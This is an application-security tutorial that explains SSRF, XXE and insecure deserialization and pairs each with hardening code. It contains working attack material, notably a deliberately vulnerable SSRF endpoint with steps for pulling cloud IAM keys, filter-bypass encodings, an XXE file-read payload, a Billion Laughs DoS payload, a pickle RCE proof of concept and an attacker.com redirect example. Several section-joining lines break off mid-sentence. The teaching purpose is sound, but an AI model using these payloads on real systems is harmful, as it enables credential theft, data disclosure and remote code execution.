β‘ Backend Trust Abuse, Parser Exploitation & Object Instantiation Hijacking
Beyond standard input validation flaws like SQL Injection and Cross-Site Scripting lies a class of complex, architecture-level vulnerabilities that exploit how backend servers interact with internal network topologies and process structured data objects. Server-Side Request Forgery (SSRF) forces a vulnerable backend server to act as a proxy, abusing the server's network location and internal trust to scan private subnets, pivot into Demilitarized Zones (DMZs), and query unauthenticated cloud instance metadata services (such as 169.254.169.254). Simultaneously, legacy data-exchange parsers introduce catastrophic exposure: XML External Entity (XXE) attacks abuse the XML specification's Document Type Definition (DTD) features to read arbitrary local system files, conduct Server-Side Request Forgery, or trigger XML entity expansion Denial of Service. In modern object-oriented languages, Insecure Deserialization transforms untrusted byte streams back into in-memory program objects without verification, allowing adversaries to chain existing classes ("gadget chains") to achieve arbitrary Remote Code Execution (RCE).
ADVANCED APPLICATION ATTACK VECTORS & TRUST BOUNDARY SUBVERSION:
1. SERVER-SIDE REQUEST FORGERY - SSRF (CWE-918):
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β [Attacker Browser] βββΊ Submits: url=http://169.254.169.254/latest/meta-data/iam/security-credsβ
β β β
β βΌ β
β ββββββββββββββββββββββββββββββββββββββββ β
β β PUBLIC WEB APPLICATION SERVER β β
β β Perimeter trust: Allowed to query β β
β β internal resources & cloud hypervisorβ β
β ββββββββββββββββββββ¬ββββββββββββββββββββ β
β β β
β βββββββββββββββββββββββββββββ΄ββββββββββββββββββββββββββββ β
β βΌ βΌ β
β ββββββββββββββββββββββββββββββββ ββββββββββββββββββββββββββββββββ β
β β CLOUD METADATA SERVICE (AWS) β β INTERNAL BACKEND MICROSERVICEβ β
β β 169.254.169.254 (IMDS) β β 10.0.0.5:6379 (Redis Cache) β β
β β Stolen IAM Temporary Keys! β β Injected unauthorized writes!β β
β ββββββββββββββββββββββββββββββββ ββββββββββββββββββββββββββββββββ β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
2. XML EXTERNAL ENTITY - XXE INGESTION (CWE-611):
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Injected DTD: <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><data>&xxe;</data> β
β Parser parses external entity 'xxe' βββΊ Injects /etc/passwd contents into application responseβ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
3. INSECURE DESERIALIZATION (CWE-502):
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Untrusted Byte Stream / Pickle / Java Serialized Object βββΊ Injected into readObject() / load() β
β Automatic Magic Methods (__wakeup, readObject) invoke Gadget Chains βββΊ Remote Code Execution! β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
169.254.169.254) to exfiltrate temporary IAM role credentials.
import requests
from flask import Flask, request, jsonify
app = Flask(__name__)
# ==============================================================================
# VULNERABLE ENDPOINT: Webhook / Avatar Image Downloader
# Flaw: Accepts any URL from user and fetches it directly with no validation!
# ==============================================================================
@app.route("/api/v1/fetch_avatar", methods=["POST"])
def fetch_avatar():
data = request.get_json() or {}
avatar_url = data.get("url", "")
# SECURITY DEFECT: Unchecked outbound HTTP request initiated by server
try:
resp = requests.get(avatar_url, timeout=3)
return jsonify({
"status": "success",
"content_type": resp.headers.get("Content-Type"),
"data_preview": resp.text[:200]
})
except Exception as e:
return jsonify({"status": "error", "message": str(e)}), 400
"""
ADVERSARIAL SSRF EXPLOITATION WORKFLOW:
Step 1: Discovering Cloud Provider Identity (AWS EC2 Instance Metadata Service v1):
Attacker POSTs: {"url": "http://169.254.169.254/latest/meta-data/"}
Response: ami-id, hostname, iam, instance-id, public-keys...
Step 2: Enumerating Attached IAM Role:
Attacker POSTs: {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
Response: "Production-S3-Backend-Role"
Step 3: Dumping Ephemeral AWS Secret Access Keys:
Attacker POSTs: {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/Production-S3-Backend-Role"}
Response:
{
"Code": "Success",
"AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "IQoJb3JpZ2luX2VjE...",
"Expiration": "2026-11-04T18:00:00Z"
}
Result: Complete compromise of cloud S3 buckets, databases, and infrastructure!
"""
if __name__ == "__main__":
print("[*] SSRF Vulnerability Simulator initialized.")
print(" Target: http://169.254.169.254 (Cloud IMDS)")
127.0.0.1 and localhost using decimal/hexadecimal integer representations, IPv6 loopbacks, and Time-of-Check to Time-of-Use (TOCTOU) DNS Rebinding.
SSRF INPUT FILTER EVASION TECHNIQUES:
1. ALTERNATIVE IP ADDRESS NOTATIONS FOR 127.0.0.1 (LOCALHOST):
βββββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββββββββββββββ
β ENCODING FORMAT β REPRESENTATION β PARSER EVALUATION RESULT β
βββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββββββββββββ€
β Decimal / Dword IP β http://2130706433/ β (127 * 2^24) + 1 = 2130706433 β Localβ
β Hexadecimal IP β http://0x7f000001/ β 0x7F = 127, 0x01 = 1 β 127.0.0.1 β
β Octal IP β http://017700000001/ β Leading zero triggers octal parsing β
β Zero-Compression IPv4 β http://127.1/ or http://0/ β Resolves directly to loopback host β
β IPv6 Full Loopback β http://[0:0:0:0:0:0:0:1]/ β Standard IPv6 localhost (::1) β
β IPv6 IPv4-Mapped β http://[::ffff:127.0.0.1]/ β Bypasses naive IPv4 string filters β
βββββββββββββββββββββββββββ΄βββββββββββββββββββββββββββββββ΄βββββββββββββββββββββββββββββββββββββββββ
2. TIME-OF-CHECK TO TIME-OF-USE (TOCTOU) DNS REBINDING:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β The Developer's Naive Defense: β
β 1. Resolve hostname: ip = dns_resolve("attacker-domain.com") β
β 2. Validate IP: if ip in PRIVATE_RANGES: reject_request() β
β 3. Fetch target: requests.get("http://attacker-domain.com") β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βΌ (Attacker configures custom DNS with TTL=0)
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β THE DNS REBINDING ATTACK: β
β β’ Query 1 (At Validation Step 1): Attacker DNS answers: 198.51.100.25 (PUBLIC IP - PASSES!). β
β β’ Query 2 (At Execution Step 3) : Attacker DNS answers: 127.0.0.1 (PRIVATE IP - EXECUTED!). β
β Result: Validation succeeds against the public IP, but the actual fetch hits internal localhost!β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
import socket
import ipaddress
import urllib.parse
import http.client
class SafeHttpClient:
"""
Hardened HTTP Client providing complete SSRF immunity:
1. Resolves DNS once and validates the destination IP against disallowed ranges.
2. Pins connection directly to the validated IP to prevent DNS Rebinding.
3. Blocks non-standard URL schemes (disallows file://, gopher://, dict://).
"""
DISALLOWED_NETWORKS = [
ipaddress.ip_network("127.0.0.0/8"), # Loopback IPv4
ipaddress.ip_network("10.0.0.0/8"), # Private RFC 1918
ipaddress.ip_network("172.16.0.0/12"), # Private RFC 1918
ipaddress.ip_network("192.168.0.0/16"), # Private RFC 1918
ipaddress.ip_network("169.254.0.0/16"), # Link-Local / Cloud Metadata (IMDS)
ipaddress.ip_network("0.0.0.0/8"), # Current network
ipaddress.ip_network("::1/128"), # Loopback IPv6
ipaddress.ip_network("fc00::/7"), # Unique Local IPv6
ipaddress.ip_network("fe80::/10") # Link-Local IPv6
]
@classmethod
def fetch_url_safe(cls, raw_url: str, timeout: int = 5) -> str:
parsed = urllib.parse.urlparse(raw_url)
# 1. Enforce Scheme Whitelist
if parsed.scheme not in ("http", "https"):
raise ValueError(f"Insecure scheme: '{parsed.scheme}'. Only HTTP/HTTPS allowed.")
hostname = parsed.hostname
if not hostname:
raise ValueError("Invalid URL: Hostname missing.")
port = parsed.port or (443 if parsed.scheme == "https" else 80)
# 2. Perform Single DNS Resolution
addr_info = socket.getaddrinfo(hostname, port, family=socket.AF_UNSPEC, type=socket.SOCK_STREAM)
resolved_ip_str = addr_info[0][4][0]
resolved_ip = ipaddress.ip_address(resolved_ip_str)
# 3. Check Resolved IP Against All Disallowed Ranges
for blocked_net in cls.DISALLOWED_NETWORKS:
if resolved_ip in blocked_net:
raise PermissionError(f"SSRF DETECTED: IP '{resolved_ip}' belongs to restricted network: {blocked_net}")
# 4. Socket Pinning: Connect directly to the validated IP address
# Pass original Host header to support virtual hosting (SNI/vhosts)
path = parsed.path or "/"
if parsed.query:
path += f"?{parsed.query}"
if parsed.scheme == "https":
conn = http.client.HTTPSConnection(resolved_ip_str, port, timeout=timeout)
else:
conn = http.client.HTTPConnection(resolved_ip_str, port, timeout=timeout)
conn.request("GET", path, headers={"Host": hostname, "User-Agent": "SafeClient/1.0"})
response = conn.getresponse()
data = response.read().decode('utf-8', errors='replace')
conn.close()
return data
if __name__ == "__main__":
client = SafeHttpClient()
print("[*] Testing Hardened SSRF-Safe HTTP Client:")
# Test A: Cloud Metadata Attack
try:
client.fetch_url_safe("http://169.254.169.254/latest/meta-data/")
except PermissionError as e:
print(f" [β] Attack Blocked: {e}")
# Test B: Hexadecimal Localhost Bypass (http://0x7f000001/)
try:
client.fetch_url_safe("http://0x7f000001/admin")
except (PermissionError, ValueError) as e:
print(f" [β] Attack Blocked: {e}")
libxml2 configurations) process external SYSTEM entities to read local files, and analyzes the recursive exponential entity expansion Denial of Service (Billion Laughs).
XML EXTERNAL ENTITY (XXE) ATTACK VECTORS:
VECTOR 1: LOCAL FILE EXFILTRATION VIA SYSTEM ENTITY
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Post request to XML-parsing API (e.g., /api/order_status): β
β β
β <?xml version="1.0" encoding="UTF-8"?> β
β <!DOCTYPE order [ β
β <!ENTITY xxePayload SYSTEM "file:///etc/passwd"> β
β ]> β
β <order> β
β <orderId>&xxePayload;</orderId> β
β </order> β
β β
β Execution Outcome: β
β If external entity resolution is enabled, the XML parser opens /etc/passwd and substitutes β
β its complete contents into the &xxePayload; reference! When the server returns the order ID, β
β the entire /etc/passwd file is reflected back to the attacker! β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
VECTOR 2: BILLION LAUGHS ATTACK (XML ENTITY EXPANSION DoS - CWE-776):
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β <?xml version="1.0"?> β
β <!DOCTYPE lolz [ β
β <!ENTITY lol "lol"> β
β <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> β
β <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> β
β <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> β
β <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> β
β <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> β
β <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> β
β <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> β
β <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> β
β <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> β
β ]> β
β <lolz>&lol9;</lolz> β
β β
β Mathematical Amplification: β
β A tiny 1 KB XML payload expands exponentially: 10^9 = 1,000,000,000 "lol" strings! β
β Consumes 3 Gigabytes of RAM instantly in parser memory, crashing the Java/Python daemon (OOM)!β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
DocumentBuilderFactory and adopting Python's defusedxml library.
// ==============================================================================
// 1. JAVA: SECURE XML DOCUMENT BUILDER FACTORY CONFIGURATION
// Completely disables DOCTYPE declarations and external entity expansion
// ==============================================================================
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.XMLConstants;
public class SecureXmlParserFactory {
public static DocumentBuilderFactory createSecureFactory() throws ParserConfigurationException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// 1. Completely disable Document Type Declarations (DTDs)
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 2. If DTDs are strictly necessary, disable external entities and parameter entities:
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
// 3. Enable Secure Processing (Mitigates Billion Laughs DoS)
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
// 4. Disable XInclude processing
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
return dbf;
}
}
# ==============================================================================
# 2. PYTHON: HARDENED XML PARSING VIA defusedxml
# ==============================================================================
from defusedxml import ElementTree as SafeET
from defusedxml.common import DefusedXmlException
def parse_incoming_xml_safe(raw_xml_string: str):
"""
Standard xml.etree.ElementTree is INSECURE against XXE and expansion bombs.
defusedxml replaces standard parsers and intercepts all entity expansions!
"""
try:
root = SafeET.fromstring(raw_xml_string)
return {"status": "success", "tag": root.tag}
except DefusedXmlException as e:
# Catches entity expansion bombs, DTD definitions, and external entities
return {"status": "blocked", "reason": f"Malicious XML Pattern Detected: {str(e)}"}
pickle module evaluates the __reduce__ magic method upon deserialization, executing arbitrary OS shell commands when loading an untrusted byte stream.
import pickle
import base64
import os
class MaliciousExploitPayload:
"""
Python's pickle module is NOT secure against untrusted data!
When pickle.loads() is called on serialized bytes, the pickle virtual machine
calls the __reduce__() method on objects.
__reduce__ returns a tuple: (callable_function, tuple_of_arguments)
The pickle VM invokes: callable_function(*tuple_of_arguments) during reconstruction!
"""
def __reduce__(self):
# We instruct the unpickler to invoke os.system with a malicious command
command = "id; touch /tmp/pwned_by_deserialization.txt"
return (os.system, (command,))
def demonstrate_pickle_rce():
# 1. Attacker serializes the malicious object
exploit_obj = MaliciousExploitPayload()
serialized_bytes = pickle.dumps(exploit_obj)
encoded_token = base64.b64encode(serialized_bytes).decode('utf-8')
print(f"[*] Serialized Exploit Payload Token:\n {encoded_token}")
# 2. Vulnerable Application receives token (e.g. from an HTTP Cookie / Session header)
print("\n[*] Vulnerable Server deserializes the untrusted token...")
raw_incoming = base64.b64decode(encoded_token)
# CATASTROPHIC INSECURITY: pickle.loads() executes the __reduce__ instruction!
pickle.loads(raw_incoming)
if __name__ == "__main__":
print("==========================================================================")
print(" PYTHON INSECURE DESERIALIZATION PROOF-OF-CONCEPT")
print("==========================================================================")
demonstrate_pickle_rce()
ObjectInputStream.readObject() instantiates serialized Java objects and shows how tools like ysoserial construct gadget chains using Apache Commons Collections to achieve Remote Code Execution.
JAVA OBJECT DESERIALIZATION GADGET CHAIN ANATOMY:
THE CORE VULNERABILITY:
In Java, classes implementing java.io.Serializable can be converted to bytes.
When a server invokes:
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject(); // INSECURE! Deserialization occurs BEFORE casting!
THE GADGET CHAIN CONCEPT (HOW EXISTING CODE IS REPURPOSED):
An attacker does not send executable code. Instead, they construct a chain of legitimate,
existing classes (Gadgets) present in the application's classpath (e.g. Commons Collections).
CHOREOGRAPHY OF THE COMMONS COLLECTIONS GADGET CHAIN (ysoserial):
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β 1. KICK-OFF GADGET (ENTRY POINT): β
β β’ Class: sun.reflect.annotation.AnnotationInvocationHandler β
β β’ Implements: readObject(). When deserialized, it automatically iterates over a Map. β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βΌ (Invokes Map.get() during unpickling)
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β 2. SINK / ROUTING GADGET: β
β β’ Class: org.apache.commons.collections.map.LazyMap β
β β’ Behavior: When get(key) is invoked on LazyMap, it calls a Transformer if key is missing! β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β
βΌ (Executes Chained Transformer)
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β 3. EXECUTION GADGET (THE SINK): β
β β’ Class: ChainedTransformer containing InvokerTransformer array: β
β βββ Transformer 1: Runtime.class.getMethod("getRuntime", null) β
β βββ Transformer 2: invoker.invoke(null, null) βββΊ Returns java.lang.Runtime instance β
β βββ Transformer 3: invoker.invoke(runtime, "calc.exe" / "/bin/sh -c ...") β
β β
β RESULT: Arbitrary system command execution during the call to readObject()! β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
yaml.load vs. yaml.safe_load), and missing validation in document parsing endpoints.
PARSER & SERIALIZATION DEFECTS & ARCHITECTURAL CORRECTIONS:
// ==============================================================================
// PITFALL 1: SSRF BYPASS VIA HTTP 302 REDIRECTS
// DEFECT:
// $url = $_GET['url'];
// if (is_valid_public_url($url)) {
// // curl follows redirects by default with CURLOPT_FOLLOWLOCATION!
// curl_exec($ch);
// }
// ATTACK: Attacker submits their own public server: http://attacker.com/redirect.php
// Inside redirect.php: header("Location: http://169.254.169.254/latest/meta-data/");
// The validator approved http://attacker.com (public), but cURL followed the 302
// redirect directly into the private cloud metadata service!
// CORRECTION: Disable automatic redirect following (CURLOPT_FOLLOWLOCATION = false)
// or re-validate the target IP on every redirect hop!
// ==============================================================================
// ==============================================================================
// PITFALL 2: INSECURE YAML DESERIALIZATION IN PYTHON
// DEFECT:
// import yaml
// data = yaml.load(user_supplied_yaml, Loader=yaml.Loader) # INSECURE!
// FLAW: Standard yaml.Loader supports the !!python/object/apply tag, allowing attackers
// to execute arbitrary system commands from a YAML configuration file!
// CORRECTION: Always mandate safe parsing:
// data = yaml.safe_load(user_supplied_yaml)
// ==============================================================================
// ==============================================================================
// PITFALL 3: ACCEPTING SERIALIZED OBJECTS IN HTTP SESSION COOKIES
// DEFECT: Express / Django application stores session state as a base64 serialized
// object in a cookie signed with a weak or compromised secret key.
// ATTACK: Attackers crack or obtain the secret, construct a gadget chain, re-sign
// the cookie, and achieve RCE upon the next HTTP request!
// CORRECTION: Store ONLY random alphanumeric session IDs in cookies. Keep all session
// state data on the server in a managed database or Redis store.
// ==============================================================================
ADVANCED APPLICATION SECURITY SPECIFICATION MATRIX:
βββββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββββ¬βββββββββββββββββββ¬ββββββββββββββββββββββββββββββββ
β VULNERABILITY CLASS β EXPLOITATION PRIMITIVE β RISK SEVERITY β MANDATORY ENTERPRISE DEFENSE β
βββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββΌββββββββββββββββββββββββββββββββ€
β Server-Side Request β Internal IP scanning, β Critical β Single DNS resolution & IP β
β Forgery (SSRF) β Cloud metadata exfiltration β (AWS / GCP / K8s)β pinning; Block private subnetsβ
βββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββΌββββββββββββββββββββββββββββββββ€
β Blind SSRF β Out-of-band network probing β High β Disable unneeded URL schemes; β
β β via HTTP/DNS tunnels β Port Scanning β Isolate egress network trafficβ
βββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββΌββββββββββββββββββββββββββββββββ€
β XML External Entity β SYSTEM file:/// URI entity β High / Critical β Disallow DOCTYPE declarations β
β (XXE Injection) β resolution; DTD abuse β Data Exfiltrationβ (disallow-doctype-decl = true)β
βββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββΌββββββββββββββββββββββββββββββββ€
β Billion Laughs Attack β Exponential XML entity β High β Disable DTDs; Enforce XML β
β (XML Entity Expansion) β expansion consuming memory β Denial of Serviceβ Secure Processing Feature β
βββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββΌββββββββββββββββββββββββββββββββ€
β Insecure Deserializationβ Magic method invocation β Critical β Avoid native binary unpicklingβ
β (Python pickle / PHP) β (__reduce__, __wakeup) β Remote Code Exec β Use JSON (json.loads/dumps) β
βββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββΌβββββββββββββββββββΌββββββββββββββββββββββββββββββββ€
β Java Deserialization β Classpath Gadget Chains β Critical β JEP 290 ObjectInputFilter; β
β (ObjectInputStream) β (ysoserial / CommonsColl) β Remote Code Exec β Migrate to JSON / Protobuf β
βββββββββββββββββββββββββββ΄βββββββββββββββββββββββββββββββ΄βββββββββββββββββββ΄ββββββββββββββββββββββββββββββββ€
β TOP 5 ADVANCED APPLICATION SECURITY PRINCIPLES: β
β 1. Validate Resolved IPs, Not Hostnames: Resolve hostnames once and verify destination IP addresses. β
β 2. Mandate Cloud IMDSv2: Enforce token-backed metadata requests to protect cloud infrastructure. β
β 3. Disable DTDs Completely: Disable Document Type Declarations to eliminate XXE and expansion bombs. β
β 4. Never Deserialize Untrusted Bytes: Use standard text formats (JSON) rather than native serializers. β
β 5. Restrict Egress Traffic: Block application servers from making arbitrary outbound internet calls. β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ